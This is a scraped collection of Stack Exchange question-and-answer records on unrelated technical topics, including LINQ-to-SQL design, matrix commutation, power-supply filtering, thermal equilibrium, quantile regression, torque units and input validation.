I use these sparingly though. If there is a lot of code (more than 2 statements or lines say) I prefer the traditional <cod... | https://softwareengineering.stackexchange.com |
126,370 | [
"https://softwareengineering.stackexchange.com/questions/126370",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/9506/"
] | Currently I'm starting a new system on my company, and we are using a good separation between models, views and controllers, basically using Asp.Net MVC 3 for the user UI, and a C# class library for the model.
The question is about "modelling a model".
We are using Linq-to-SQL as a Data Access Layer, and modelling en... | If you are going to stick with LINQ-to-SQL you probably want to use the linq-to-sql classes as your entities. That is rename TB_USER to User and you then wrap the interaction with LINQ-to-sql in repositories, i.e. a UserRepository with a GetById, GetByUserName, Save, and similar methods - depending on your specific ne... | I think Christian came up with a good answer to your question. Based on the exchanged comments there may be some things worth explanation in the pattern you try to use.
POCO is it's name. Plain pure objects which have no logic inside. They just concsist of getter/setters you want to expose at the, in your described ca... | https://softwareengineering.stackexchange.com |
296,857 | [
"https://math.stackexchange.com/questions/296857",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/54755/"
] | Let
$$ A=\begin{pmatrix}
1 & 0 & 0 \\
0& 1 & 0 \\
3 & 1 & 2
\end{pmatrix}
$$
Find all matrices $B$ such that $AB=BA$.
Attempt at solution: I can show that $A$ is invertible so its inverse must be one of the elements. But how do I go about showing there are more of them? or not?. I can set s... | Here's another approach. Notice that if $A$ and $B$ commute and if $C$ is any invertible matrix, then $C^{-1}AC$ and $C^{-1}BC$ commute. This is because $$(C^{-1}AC)( C^{-1}BC) = C^{-1}ABC = C^{-1}BAC = (C^{-1}BC)(C^{-1}AC).$$
If we let $C$ be the matrix consisting of eigenvectors of $A$, then one can calculate that... | Let $$B = \begin{bmatrix}b_{11} & b_{12} & b_{13}\\ b_{21} & b_{22} & b_{23}\\ b_{31} & b_{32} & b_{33} \end{bmatrix}$$
We have $$A = \begin{bmatrix}1 & 0 & 0\\ 0 & 1 & 0\\ 3 & 1 & 2 \end{bmatrix}$$ Hence,
\begin{align}
AB & = \begin{bmatrix}1 & 0 & 0\\ 0 &... | https://math.stackexchange.com |
9,435 | [
"https://electronics.stackexchange.com/questions/9435",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/1950/"
] | Often I have a 3.3V or 5V mixed-signal circuit with a microcontroller running in the 10 MHz range and some analog circuitry, e.g. audio or analog sensor signals, powered from a wall-wart style supply or USB.
So a problem I often come across is how to filter the supply for the analog signals. Shall I use a ferrite bead... | For filtering large frequencies I'd recommend the ferrite. The parasitic capacitance of inductors makes them essentially useless for filtering high frequencies.
| Typically I find that just adding a larger capacitor is all that is needed. If you place multiple capacitors in parallel of values that decades of each other you can help filter out noise at different frequencies. Ex, 0.01uF, 0.1uF, 1uF, 10uF. Using surface mount components is ideal for minimizing noise.
If you need c... | https://electronics.stackexchange.com |
377,382 | [
"https://physics.stackexchange.com/questions/377382",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/149370/"
] | Complete beginner on the physics of heat absorption / loss, so bear with me. When I make a hot beverage, it starts out hot, but then gradually cools down as it loses heat. However, it eventually stops cooling down, or else it would reach the impossible temperature of absolute zero. My question is why do objects stop... | When two objects/systems have the same temperature, they can be said to be in thermal equilibrium, and this means that there will be <strong>no <em>net</em> heat transfer</strong> between them. I cannot further emphasize how important the word <em>net</em> here is.
This means that there is heat transfer, but heat tr... | heat transfer is driven by temperature differences. once your beverage cools down to a temperature equal to that of its surroundings, heat transfer stops.
| https://physics.stackexchange.com |
365,608 | [
"https://softwareengineering.stackexchange.com/questions/365608",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/172464/"
] | I'm trying to figure out the best option to mark a database entity that could be closed manually or automatically. This entity already have a status that accepts <code>OPEN</code> or <code>CANCELED</code>.
Now, I would like to "close", but the close action can be manually or automatically, and I will need this informa... | Go with a single state 'Closed' but also record actions that are taken against the record.
This covers you for situations where say the record is closed automatically, reopened and closed manually.
Its better to check the history of actions rather than try to have states for each possible action , or set of actions t... | I would go for the first option (making a separate state for each case). This way, your status is a simple state machine. Even just looking at the list of available states gives me a pretty good idea of the possible transitions.
If parts of your code need to check whether the DB was closed regardless of the method (au... | https://softwareengineering.stackexchange.com |
227,720 | [
"https://physics.stackexchange.com/questions/227720",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/57770/"
] | I have a two part question about AdS/CFT:
<ol>
<li>Is the only necessary ingredient that the isometry group of AdS matches the conformal group in one dimension less or are there other prerequisites to build a holographic connection?</li>
<li>How does one demonstrate that the isometry group of $AdS_{d+1}$ is $SO(d,2)$?... | 1) That's not the only ingredient -- it's a prerequisite for holography. In reality, with holographic duality one always means a precise mapping from observables in a gravity theory in AdS to observables in a CFT that lives on the boundary. So holography is much richer: it prescribes for example how you can compute a W... | In addition to what was already mentioned, I want to add the following points:
<ol>
<li>From the requirement of matching physical observables on both sides of the correspondence one can deduce a more general principle behind matching symmetries: global symmetries corresponding to Noether currents that are in principl... | https://physics.stackexchange.com |
243,209 | [
"https://dba.stackexchange.com/questions/243209",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/149517/"
] | Oracle here. I have the following tables:
<pre><code>[orders]
===
order_id : integer constraint pk_orders primary key using index
order_name : varchar2(40 char)
order_ordered_by : integer constraint fk_shoppers references accounts
order_total : number(10,2) not null
order_status : char not null
[line_items]
===
line_... | I'd recommend getting rid of that DISTINCT if possible, they tend to act as "make this subquery a black box to the DB engine" keywords, which doesn't help the query optimiser make good choices.
Try the following, if it works in Oracle (I'm a MS-SQL coder, sorry)
<pre><code>UPDATE orders
SET status = 'ORDERED'
WHERE o... | Is this faster? This might allow the optimizer to filter by <code>STATUS</code> before touching the other tables. It also reduces the three-table join down to two.
<pre><code>UPDATE orders o
SET orders.status = 'ORDERED'
WHERE orders.status = 'PENDING'
AND orders.order_id IN (
SELECT line_items.orderId
... | https://dba.stackexchange.com |
129,537 | [
"https://softwareengineering.stackexchange.com/questions/129537",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/27083/"
] | Lately I've begun to think that having lots of manager classes in your design is a bad thing. The idea hasn't matured enough for me to make a compelling argument, but here's a few general points:
<ul>
<li>I found it's a lot harder for me to understand systems that rely heavily on "managers". This is because, in additi... | Manager classes can be a sign of a bad architecture, for a few reasons:
<ul>
<li><strong>Meaningless Identifiers</strong>
The name <code>FooManager</code> says nothing about what the class actually <em>does</em>, except that it somehow involves <code>Foo</code> instances. Giving the class a more meaningful name eluci... | Managers <em>can</em> be a sign of a bad architecture, but more often than not they are just a sign of an inability on behalf of the designer to come up with better names for his objects, or simply just a reflection of the fact that the English language (and any human language for that matter) is suitable for communica... | https://softwareengineering.stackexchange.com |
4,177,589 | [
"https://math.stackexchange.com/questions/4177589",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/581451/"
] | Do you know any example of a positive on <span class="math-container">${\mathbb R}$</span> and a bounded function <span class="math-container">$p(x)>0$</span> for which all solutions of Sturm–Liouville equation are known (ie some formula)?
<span class="math-container">$-(p(x)f'(x))'=\lambda f(x)$</span>
I am specifi... | <span class="math-container">$${d\over dx}p^2=2pp'=pq=(q+2xq')q=q^2+2xqq'={d\over dx}xq^2$$</span>
| <span class="math-container">$$p(x)= \sum_{k=0}^{\infty} \frac{x^k}{(2k)!}=\sum_{k=0}^{\infty} \frac{\big[\sqrt x]^{2k}}{(2k)!}=\cosh \left(\sqrt{x}\right)$$</span>
<span class="math-container">$$q(x)=\sum_{k=0}^{\infty} \frac{x^k}{(2k+1)!}=\sum_{k=0}^{\infty} \frac{\big[\sqrt x]^{2k}}{(2k+1)!}=\frac 1{\sqrt x}\sum_{k=... | https://math.stackexchange.com |
70,661 | [
"https://mathoverflow.net/questions/70661",
"https://mathoverflow.net",
"https://mathoverflow.net/users/5094/"
] | Let $M$ be a finitely generated graded module over a graded ring $R$. Let $\mathcal{F}$ be the corresponding coherent sheaf on $\operatorname{Proj} R$. There is a natural map of graded $R$-modules
$$\phi \colon M \to \Gamma^*(\mathcal{F}) := \bigoplus_{n} \Gamma(\operatorname{Proj} R, \mathcal{F}(n)).$$
If I recall Ra... | To elaborate on Karl's comment:
Let $m$ be the irrelevant ideal of $R$, then there is a short exact sequence:
$$0 \to H_m^0(M) \to M \to \Gamma^*(\mathcal{F}) \to H_m^1(M) \to 0$$
(see Eisenbud's book, Theorem A4.1, p. 693). Here $H_m^i(M)$ denote the local cohomology modules. So the map is injective precisely when... | As Hailong wrote, the injectivity means the vanishing of <span class="math-container">$H^0_m(M)$</span>. But <span class="math-container">$\operatorname{depth}(m,M)$</span> is the least non-vanishing local cohomology, thus the map <span class="math-container">$M \to H^0_*(\tilde{M})$</span> is injective iff <span class... | https://mathoverflow.net |
425,018 | [
"https://physics.stackexchange.com/questions/425018",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/90518/"
] | I can't understand one thing. A good flow of water from bath faucet requires a good velocity of water or a good pressure?
For example, I have a crane that has a pipe diameter of 1 inch. The better the flow of water, the higher velocity of water. But the higher velocity of water, the lower pressure (bernoulli principle)... | You're right that it's a bit circular as stated. The more rigorous way to state a conservation law is something like:
<blockquote>
The rate of change of [quantity] in a bounded system is equal to minus the rate at which [quantity] leaves through boundaries of that system.
</blockquote>
A "closed system" is then a ... | No, the definition is perfectly correct and not circular at all.
For example, consider the principle of "conservation of sound", which states that if no sound enters or exits a closed system, then the total amount of sound in that system is constant. That is false, because I can clap my hands. Sound is not conserved, ... | https://physics.stackexchange.com |
52,527 | [
"https://physics.stackexchange.com/questions/52527",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/20378/"
] | If astronauts could deliver a large quantity of breathable air to somewhere with lower gravity, such as Earth's moon, would the air form an atmosphere, or would it float away and disappear? Is there a minimum amount of gravity necessary to trap a breathable atmosphere on a planet?
| Gravity is a major factor in planets retaining atmospheres over the eons. But there are other factors that must be taken into consideration to consider the volatility of an atmosphere.
Solar wind is the main factor of erosion on any atmosphere. But a healthy magnetic field can deflect most of the solar radiation and d... | The escape velocity at the moon's surface is about 2.4 km/s. The mean speed of oxygen at 293 K is about 0.48 km/s.
A commonly quoted rule of thumb says that the escape velocity needs to be 6 times the gas's mean velocity in order for that gas to remain captive to gravity and the values I quoted are related by a factor... | https://physics.stackexchange.com |
702,393 | [
"https://physics.stackexchange.com/questions/702393",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/228740/"
] | <span class="math-container">$$\Bigl( \frac{\partial S}{\partial T} \Bigr)_H = \Bigl( \frac{\partial S}{\partial T} \Bigr)_M + \Bigl( \frac{\partial S}{\partial M} \Bigr)_T \Bigl( \frac{\partial M}{\partial T} \Bigr)_H$$</span>
How can one go from LHS to RHS. I understand chain rule and partial derivatives but unable ... | Dealing with this kind of equations, I like to think of differential forms.
There are essentially two rules that solve most of the problems:
<ol>
<li>Algebraically, you can treat differential <span class="math-container">$dH$</span> forms as vectors, i.e. you can add them, multiply by scalars and decompose one form as ... | You can deduce the involved functions by looking at terms like <span class="math-container">$\frac{\partial S}{\partial T}|_M$</span>. This tells you that there is a function <span class="math-container">$S$</span> of variables <span class="math-container">$(T,M)$</span>. Likewise <span class="math-container">$\frac{\p... | https://physics.stackexchange.com |
23,526 | [
"https://dsp.stackexchange.com/questions/23526",
"https://dsp.stackexchange.com",
"https://dsp.stackexchange.com/users/15794/"
] | I need to upsample a 2 MHz signal by a factor of 3000 to convert the OQPSK modulated baseband signal to passband. When I upsample by duplicating the elements in the sequence, I seem to get less error compared to padding the sequence with zeros. The frequency spectrum is also better when I duplicate elements whereas wit... | :Boggle:<br>
Neither is correct. You should interpolate between samples if you need to convert to a higher sampling rate.<br>
Linear interpolation is easiest, but will cause harmonics to appear in the output.
Linear interpolation with a lowpass filter is better. Use the nyquist frequency for your original signal (... | Matlab’s ‘upsample()’ command does not “pad” a sequence with zero-valued samples. The ‘upsample()’ command “stuffs” a sequence with zero-valued samples. “Zero padding” and “zero stuffing” are two different operations. “Zero padding” means appending a sequential string (a sequence) of zero-valued samples to the begin... | https://dsp.stackexchange.com |
4,090,789 | [
"https://math.stackexchange.com/questions/4090789",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/351735/"
] | I am working on a hard measure theory problem on which I'm stuck. I can solve it if I prove the following: let <span class="math-container">$A\subseteq\mathbb R^n$</span> a compact set, and let <span class="math-container">$f:A\rightarrow\mathbb R^m$</span> a continuous function. Then the map
<span class="math-containe... | Here is an example. Take <span class="math-container">$n=2, m=1$</span>, <span class="math-container">$A$</span> is the union of the unit segment <span class="math-container">$[-1,0]$</span> in the <span class="math-container">$x$</span>-axis and the 2-point set <span class="math-container">$\{(0,1), (1,1)\}$</span>. T... | Let's call your function <span class="math-container">$g$</span>.
Take <span class="math-container">$A = [0,1] \cup \{3,4\}$</span> with <span class="math-container">$f(x) = x$</span> for <span class="math-container">$0 \le x \le 1$</span>, <span class="math-container">$f(3) = 2$</span>, <span class="math-container">$f... | https://math.stackexchange.com |
127,109 | [
"https://electronics.stackexchange.com/questions/127109",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/52233/"
] | I just started getting into electronics so I'm still a major noob. Any help would be much appreciated!
I have an Arduino UNO and have made a few basic circuits with LEDs and a small speaker using examples online. I recently learned a few of the electronic circuit equations like Ohm's law and am ready to start designin... | Motors are basically resistors. While others here will crucify me for saying that, this a basic analogy that's useful for beginners to understand. A motor is a long wire wrapped around a core, that interacts with magnets to spin. All wires have resistance and can be measured like a resistor (use the ohmmeter part of yo... | Motors are not diodes at all, so forget about that analogy.
If your small motor is intended to be run from 1.5 to 3 V, then nothing bad will happen if you run it from 5 V for a few seconds at a time. For now, just drive it from the 3.3 V supply using a separate transistor as the switch. The transistor will be contro... | https://electronics.stackexchange.com |
228,492 | [
"https://stats.stackexchange.com/questions/228492",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/14076/"
] | Take a dataset and suppose we fit two quantile regression models to it, one with the raw dependent variable (DV) and one with the logged DV. Then look at each model's predictions for the training data, reversing the transformation in the case of the logged model. Here's an example in R:
<pre class="lang-R prettyprint-... | The equivariance to monotone transformations property that implies $Q_q(y \vert x)=\exp \{Q_q(\ln y|x )\}$ is exact only if the conditional quantile function is correctly specified. This is unlikely to be the case in practice, and is not the case in your simulation, since $\exp \{x+\varepsilon\} \ne x + \varepsilon$. ... | This isn't a complete answer, but it may help.
The covariate in your model may be a red herring, the issue is reproducible with an intercept only model
<pre><code>set.seed(1)
y = runif(100, 0, 1) # Need to keep it positive for the log.
m = rq(y ~ 1, tau = .5)
p1 = predict(m)
m2 = rq(log(y) ~ 1, tau = .5)
p2 = exp... | https://stats.stackexchange.com |
37,881 | [
"https://physics.stackexchange.com/questions/37881",
"https://physics.stackexchange.com",
"https://physics.stackexchange.com/users/12393/"
] | Recently, I was doing my homework and I found out that Torque can be calculated using <span class="math-container">$\tau = rF$</span>.
This means the units of torque are Newton meters. Work & Energy are also measured in Newton meters which are Joules.
However, torque isn't a measure of energy. I am really confused... | The units for torque, as you stated, are Newton-meters. Although this is algebraically the same units as Joules, Joules are generally not appropriate units for torque.
Why not? The simple answer is because
$$W = \vec F \cdot \vec d$$
where $W$ is the work done, $\vec F$ is the force, $\vec d$ is the displacement, ... | Torque is force <strong>at</strong> a distance. Work is force <strong>through</strong> a distance. Same unit dimensions, different measurements.
| https://physics.stackexchange.com |
131,642 | [
"https://dba.stackexchange.com/questions/131642",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/37123/"
] | I am reverse-engineering the schema of an Oracle database. I have a table and I created a function-based index on it.
<pre><code>DROP TABLE Fbi_tab;
CREATE TABLE Fbi_tab (
a INTEGER,
b INTEGER,
c INTEGER
);
CREATE INDEX Idx ON Fbi_tab (a+b*(c-1), a, b);
</code></pre>
How can I generate the DDL used to creat... | You can use following PowerShell script to get last failover time
<pre><code>Get-winEvent -ComputerName ListnerName -filterHashTable @{logname ='Microsoft-Windows-FailoverClustering/Operational'; id=1641}| ft -AutoSize -Wrap
</code></pre>
1641 is the event ID within the Windows event logging system that indicates that... | Following lists failover time and direction for each database for all failover events on the server on which this is run, using T-SQL as requested.
<pre><code>-- Script to determine failover times in Availability Group
;WITH cte_HADR AS (SELECT object_name, CONVERT(XML, event_data) AS data
FROM sys.fn_xe_file_target... | https://dba.stackexchange.com |
148,651 | [
"https://mathoverflow.net/questions/148651",
"https://mathoverflow.net",
"https://mathoverflow.net/users/2095/"
] | This is a naive question.
One is told that, somehow, Hodge theory for varieties over complex numbers, is an analog of weight theory for varities over finite fields. In weight theory, one considers eigenvalues of Frobenius and so on. Hodge theory should capture symmetries of the Galois group of complex numbers over rea... | I do not know the answer to the question. However, let me point out that the answer is negative if you look for surfaces avoiding more points. More precisely, there exists a smooth complete threefold that does not satisfy Sándor's property $NC_{10}$: it contains 10 points that cannot be simultaneously avoided by a divi... | This is just a partial answer to restrict the search.
<strong>Condition</strong> $NC_q$ Let us say that $Z$ satisfies condition $NC_q$ if for any $z_1,\dots,z_q\in Z$ there exists $D=D_{z_1,\dots,z_q}\subset Z$, a codimension one subscheme of $Z$ such that $z_i\not\in D$, for any $i=1,\dots,q$.
<strong>Example</stron... | https://mathoverflow.net |
321,612 | [
"https://electronics.stackexchange.com/questions/321612",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/158611/"
] | After extensive research and finding very helpful circuits for the rest of the system I still have not found what im looking for. I am building a PoE raspberry pi weather station that will be mounted on a 30 meter tower so access is limited.
The challenge is as follows. The AC source is unreliable so I have a +-2 hou... | It's always better to have your algorithm implemented in a higher-level language (which C is compared to assembly), even if you plan to implement everything in assembly in the end.
<ul>
<li>chances are, you <strong>won't even need assembly</strong>. If the code generated by your compiler meets your design goals, your ... | If the compiler writers put some effort into optimizing it for that target, it will at least make some use of the special DSP instructions / architecture. But for ultimate performance it will never be as good as hand-tuned assembly. It might be plenty good enough, though - depends on your application.
Other alternat... | https://electronics.stackexchange.com |
177,009 | [
"https://dba.stackexchange.com/questions/177009",
"https://dba.stackexchange.com",
"https://dba.stackexchange.com/users/106092/"
] | My tables may or may not have the same employee Names listed in them. The problem is I have no way of knowing if Table1 will hold more names or if Table2 will hold more names so I was thinking a union would solve this issue. However as you see in the syntax below it produces to lines for "C" since it exists in both t... | The quick and dirty method is to just wrap your query in another aggregation.
<pre><code>SELECT x.empName, SUM(x.TotalSW), SUM(x.TotalSNT)
FROM (
SELECT empName, COUNT(swas) AS TotalSW, 0 AS TotalSNT
FROM #Test1
GROUP BY empName
UNION ALL
SEL... | There are a couple of ways you could do this. You could use a <code>FULL OUTER JOIN</code> which will pull data:
<pre><code>SELECT ISNULL(#Test1.empName, #Test2.empName)
, TotalSW = COUNT(#Test1.empName)
, TotalSNT = COUNT(#Test2.empName)
FROM #Test1
FULL OUTER JOIN #Test2 ON #Test2.empName = #Test1.EmpNam... | https://dba.stackexchange.com |
55 | [
"https://mathoverflow.net/questions/55",
"https://mathoverflow.net",
"https://mathoverflow.net/users/32/"
] | I've read that an elliptic curve is supersingular if and only if its endomorphism ring is an order in a quaternion algebra. Does anyone have a simple explanation of this (or a good reference)?
| Let $k$ be an algebraically closed field, and let $E/k$ be an elliptic curve. In general, <em>how do we know the structure of $\mathrm{End}(E)$</em>?
We know the following two facts in all cases: (1) considered as an additive group, $\mathrm{End}(E)$ is free abelian on 1, 2 or 4 generators; and (2) $\mathrm{End}(E) \... | This is a theorem of Deuring, 1941. David alluded to this, but Section 5.3 of Silverman's <i>The Arithmetic of Elliptic Curves</i> has a proof that 5 conditions concerning elliptic curves over a characteristic p perfect field are equivalent, and any one of them can be taken as the definition. There are additional def... | https://mathoverflow.net |
389,623 | [
"https://softwareengineering.stackexchange.com/questions/389623",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/303883/"
] | As some js files are very common and widely used on the web, why browsers don't reutilise them?
wouldn't it improve efficiency, as js framework files are usually heavy?
| They are. If you link to the javascript as hosted by an external source such as ajax.googleapis.com and you have previously got that file while browsing another webpage, your browser will use the cached version (assuming all other cache settings are OK).
Obviously though you are now using google' bandwidth to download... | One reason is that there is no web of trust in place that would facilitate using code from one source in the rendering of a website from another source. Right now all the code linked in a HTML document is (supposed to) running in a sandbox where it pretty much only access data and functions related to that document and... | https://softwareengineering.stackexchange.com |
586,268 | [
"https://electronics.stackexchange.com/questions/586268",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/295632/"
] | Is it required to memorize all BJT formulas for AC amplification for all BJT configuration and biasing setups?
Am I a failure of an electrical engineer if I don't memorize all of them? They are difficult to memorize because of the several nested fractions. Despite similarities in some configurations, it is still hard t... | You can still be an engineer if you don't memorise all those configurations, and the most important formulae, but you won't be a very good one.
There's always Google, but if you have to look stuff up every time you see a transistor or need to design something with one, then it will take you forever to actually complete... | Success or failure as an engineer is judged by what you can produce and accomplish, not by what you've memorized. If you need to use equations often, and have trouble memorizing them, print out a cheat sheet and post it at your workstation, or go paperless and bookmark a reference page in your web browser. It's more im... | https://electronics.stackexchange.com |
211,631 | [
"https://electronics.stackexchange.com/questions/211631",
"https://electronics.stackexchange.com",
"https://electronics.stackexchange.com/users/97284/"
] | I am making a nixie clock and wanting to use 2 neon lamps in parallel for each colon. However in my test circuit I can only get one to strike at a time.
<img src="https://i1117.photobucket.com/albums/k597/faeryty/neon%20colon_zpsl6trlkmd.png" alt="schematic of test circuit">
The supply voltage is 170Vdc in order to p... | Neons need more voltage to strike, than to maintain, as you have measured. The first neon to strike will drag down the common terminal to less than the striking voltage for the second.
Ideally reduce the value of the series 10k, and increase the value of the 4.7k resistors.
I wonder why you are using the two 10k res... | You want to limit the operating current of a neon bulb to about 1 mA. There's no need for all of those resistors — just connect each one directly to the 170 V rail with its own 100 kΩ resistor.
If you're switching them on and off, as suggested in another answer, 200 V transistors are cheap and common enoug... | https://electronics.stackexchange.com |
18,328 | [
"https://security.stackexchange.com/questions/18328",
"https://security.stackexchange.com",
"https://security.stackexchange.com/users/5073/"
] | I'm reading OWASP's Secure Coding Practices Checklist and under their "Input Validation" section they have an item that reads:
<blockquote>
If any potentially hazardous characters (<code><>"'%()&+\\'\"</code>) must be allowed as input, be sure you implement additional controls like output encoding. Utilize... | I think the best way to describe canonicalization is to remember that it stems from <em>canon</em>, meaning an authentic piece of writing. What they're talking about is taking untrusted data and formatting it as an unambiguous representation, such that it can never be misrepresented by any software process.
The first ... | <ul>
<li>What is "output encoding", and can someone provide a concrete example of how a validation routine could make use of it?</li>
</ul>
Output encoding means that the data is encoded appropriately for the context into which it is being placed. Example, say you want to dynamically display a name from an untrusted s... | https://security.stackexchange.com |
178,119 | [
"https://softwareengineering.stackexchange.com/questions/178119",
"https://softwareengineering.stackexchange.com",
"https://softwareengineering.stackexchange.com/users/-1/"
] | I have come across many relational database management systems (RDBMS). But recently I used hibernate which made me start wondering why Object Oriented databases aren't more popular.
If object oriented languages like Java or C# are so popular, then why aren't object-oriented database management systems (OODBMS) more ... | There are multiple reasons.
<ol>
<li>Many developers are only experienced in relational data modeling. To use OO databases, they would need to learn completely different way to model and think about data. This is either really hard or quite time consuming.</li>
<li>Relational DBs had lot of time to mature. Even free r... | When databases first appeared, OOP still wasn't the way to program. Relational databases, on the other hand, gained a lot of traction. And SQL introduced in the 80's by IBM quickly became <em>lingua franca</em> of all databases.
When OOP become popular there were some attempts, but there are some problems. First, tru... | https://softwareengineering.stackexchange.com |
266,898 | [
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] | I know that, at <strong>steady state</strong>, the frequency response can be calculated relatively easily from the transfer function and the frequency of the input.
So if we have a system described by the transfer function \$ G(s) \$ then we have (again, at <strong>steady state</strong>):
$$
u(t) = u_0 \sin(\omega t) ... | Your input is a pure sine wave. Let's call it $$x(t)=A\sin(\omega t)$$
Lets further say that input \$x(t)\$ will produce output \$y(t)\$.
Now, let's change the input to $$x^{'}(t)=A\sin(\omega t +\phi)$$
Because this is a pure sine wave of the same frequency of \$x(t)\$, you can represent the new input as a time de... | The phase angle ϕ at the output must be considered as an additional <strong>phase shift</strong> (caused by the transfer function) if compared with the input phase θ. That´s all. For convenience, it is common practice to set set θ=0. Remember: The input phase is an arbitrary value referenced to an unknown signal phase ... | https://electronics.stackexchange.com |
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